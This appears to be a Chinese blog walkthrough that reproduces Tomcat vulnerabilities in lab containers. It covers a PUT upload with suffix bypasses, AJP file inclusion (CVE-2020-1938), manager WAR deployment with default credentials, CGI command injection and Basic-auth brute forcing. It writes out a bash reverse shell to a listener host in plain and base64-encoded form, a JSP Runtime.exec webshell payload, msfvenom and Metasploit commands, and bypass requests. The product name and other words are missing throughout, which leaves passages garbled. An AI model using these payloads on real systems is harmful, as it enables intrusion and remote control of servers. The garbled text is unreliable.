介绍
它是软件基金会( )的核心项目,由Sun与其他公司和个人共同开发。 由于Sun的参与和支持,最新的JSP和JSP规范总能在5中得到体现,支持最新的2.4和JSP 2.0规范。 由于其技术先进、性能稳定、免费,深受Java爱好者的喜爱和一些软件开发人员的认可,使其成为流行的Web应用服务器。
该服务器是一个免费开源的Web应用服务器,是一个轻量级的应用服务器。 常用于中小型系统以及并发访问用户不多的场合。 是开发、调试JSP程序的首选。 对于初学者来说,可以这样想:当一台机器上配置了服务器后,就可以用它来响应对HTML(标准通用标记语言下的一种应用)页面的访问请求。 它实际上是服务器的扩展,但它独立运行,因此当您运行它时,它实际上作为一个单独的进程运行。
诀窍是,如果配置正确,可以在实际运行 JSP 页面的同时提供 HTML 页面。 此外,与IIS和其他Web服务器一样,它具有处理HTML页面的功能。 另外,它也是一个JSP容器,独立容器是默认模式。 然而,处理静态HTML的能力不如服务器。 目前最新版本是10.0.5。
CVE-2017-12615
CVE-2017-12615对应的漏洞为任意文件写入,主要影响7.0.0-7.0.81版本。
漏洞原理
由于配置不当(非默认配置),配置文件conf/web.xml被设置为false。 这样一来,使用PUT方法就可以上传任何文件,但是jsp后缀的上传受到限制。
根据描述,在服务器下,当该参数设置为false时,可以通过PUT创建一个JSP文件,并可以执行任意代码。
通过阅读conf/web.xml文件,可以发现默认是true。 当设置为 false 时,可以通过 PUT / 执行文件操作
漏洞重现
这里使用的是用来重现漏洞的。 这里我们不详细介绍环境设置。
首先进入CVE-2017-12615的环境
sudo docker-compose up -d
docker ps //查看docker环境是否启动成功
首先进去查看web.xml的代码。 可以看到设置为false,所以存在漏洞。
sudo docker exec -ti ec bash //进入docker容器
cat conf/web.xml | grep readonly
访问8080端口,对应8.5.19
抓包8080端口,发现是GET方式。
我们先来测试一下。 改成PUT方法,写一个test.txt。 这里我们看到返回了201。 应该已经上传成功了。
PUT /test.txt HTTP/1.1
testpoc
进入这里查看是否写入成功。
cd /usr/local/tomcat/webapps/ROOT
ls
前面说过,PUT方法可以上传任意文件,但是jsp后缀的上传是受到限制的。 这里,PUT方法用于直接上传Ice jsp。 发现返回404,应该拦截。
这里你需要绕过它。 有三种方法可以绕过它。
1.Windows下不允许文件以空格结尾
以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
2.Windows NTFS流
Put/a001.jsp::$DATA HTTP/1.1
3. /在文件名中是非法的,也会被去除(Linux/Windows)
Put/a001.jsp/http:/1.1
首先使用%20来绕过。 我们知道%20对应的是空格。 在文件中,在jsp后面添加%20可以达到自动擦除空格的效果。这里可以看到已经返回了201,上传成功了。
进去检查一下确保已经上传了。
第二种方法是在jsp后缀后面使用/,因为/在文件名中是非法的,在Linux和Linux中会被自动去掉。 根据这个特征,上传/ice1.jsp/,看到返回201。
进入查看发现已经上传成功。
第三种方法是使用NTFS流,在jsp后面添加::$DATA,看到返回201,上传成功。
输入验证
这里连接一个jsp就可以搞定了
CVE-2020-1938
CVE-2020-1938 是一个 AJP 文件包含漏洞。 该安全漏洞是长亭科技安全研究人员发现的。 由于AJP协议设计上的缺陷,攻击者可以通过AJP读取或包含所有目录下的任意文件,例如配置文件或源代码。
另外,如果目标应用程序具有文件上传功能,利用文件包含还可以达到远程执行代码的危害。
漏洞原理
配置了两个,分别是HTTP和AJP:HTTP的默认端口是8080,用于处理http请求,而AJP的默认端口是8009,用于处理AJP协议的请求。 AJP比http更加优化,多用于逆向、集群等,该漏洞是AJP协议缺陷造成的。 攻击者可以利用该漏洞读取服务器下的任意文件,并通过构造特定参数包含任意文件。 如果有上传点、上传图片等,攻击者就可以获得shell。
默认conf/.xml中配置了两个,一个是外部提供的HTTP协议端口8080,另一个是默认的8009 AJP协议端口。 两个端口默认监听外网IP。
当收到 ajp 请求时,调用 org...ajp。 处理ajp消息,取出ajp的内容设置为对象的属性。
因此,可以利用该特性来控制对象的以下三个属性。
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
然后封装成对应的之后,继续进行映射过程如下:
漏洞重现
启动 CVE-2020-1938 的环境
首先使用POC来检测漏洞。 如果存在漏洞,可以查看该目录下的所有文件。
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py #py2环境
这里查看8009端口下的web.xml文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f /WEB-INF/web.xml
使用 bash 反弹 shell
bash -i >& /dev/tcp/192.168.1.8/8888 0>&1
因为是java,需要转换一下才能使用。 转换结果如下
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
生成一个test.txt,这里只需要修改即可
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(""
); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("
”);%>
bp抓包并上传test.txt到容器
nc 启用端口监控
你可以获得一个交互式 shell
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f test.txt
这里为了方便,网上到msf来操作,先生成一个shell.txt
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > shell.txt
抓包并上传shell.txt到
msf启用监控,请使用java/p
然后使用poc反弹上线
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f shell.txt
弱口令&战争远程部署漏洞原理
环境中进入后台默认密码为/。 如果不修改,可以未经授权进入后台。
漏洞重现
进入环境
访问后台管理地址,使用 / 进入后台
http://192.168.1.8:8080//manager/html
已进入后台页面
我看到有一个上传war包的地方。 这里很多java中间件都可以使用war远程部署来获取shell,它也不例外。
首先将ice.jsp打包成test.war
jar -cvf test.war .
点击上传,可以看到上传的test.war已经部署成功。
如果访问时没有出现404错误,那么应该已经上传成功了。
使用冰蝎连接获取外壳
您还可以在此处使用 msf 中的 /multi/http/ 模块。
use exploit/multi/http/tomcat_mgr_uploadset HttpPassword tomcatset HttpUsername tomcatset rhost 192.168.1.8set rport 8080run
你可以通过运行获得一个
CVE-2019-0232
CVE-2019-0232 是 RCE
漏洞原理
漏洞相关代码位于\java\org\\\\.java,提供了cgi调用接口。 当启用ts参数时,会根据RFC 3875从Url参数生成命令行参数,并将参数传递给Java执行。该漏洞是由于.().exec在中国和中国的底层实现不同造成的Linux。
Java 的 .().exec 在 CGI 调用的情况下难以进行命令注入。 创建过程中使用的进程会将参数合并成字符串传入,程序启动后调用获取参数并传入argv中,当参数为bat文件或cmd文件时,cmd.exe会被调用,所以最终会变成cmd.exe /c "arg.bat & dir",Java调用过程不做任何转换。 义,所以下面会有漏洞
漏洞重现
启动
访问并已成功启动
该组件默认关闭。 找到conf/web.xml中注释掉的部分,去掉注释,配置ts和
这里注意,去掉注释,添加以下代码
enableCmdLineArguments启用后才会将Url中的参数传递到命令行executable指定了执行的二进制文件,默认是perl,需要置为空才会执行文件本身。
enableCmdLineArguments true executable
然后在conf/web.xml中启用cgi -
修改conf/.xml添加==true”属性,否则没有权限
添加真
privileged="true">
在C:\\ROOT\WEB-INF下创建cgi-bin目录
在此目录下创建hello.bat
然后重启环境
访问:8080/cgi-bin/hello.bat?&C%3A%%%.exe 弹出计算器。 在这里构建系统命令即可
App暴力破解漏洞原理
后台密码经过编码传输。 可以通过抓包解密来获取后台密码,也可以爆破。
漏洞重现
访问这里:8000//html来抓包。 当您不输入帐户和密码时,不会有任何数据。
如果你把这个包放过来,你会被要求输入你的用户名和密码,然后捕获这个包。
你可以得到这个字段。 这个字段有一个Basic,意思是加密。
直接放在这里即可解密密码:
进入后台再次抓包后可以看到有一个,但是少了这个字段。
我们可以爆破字段并添加
删除内置编码
攻击获取账户密码
点赞、转发、观看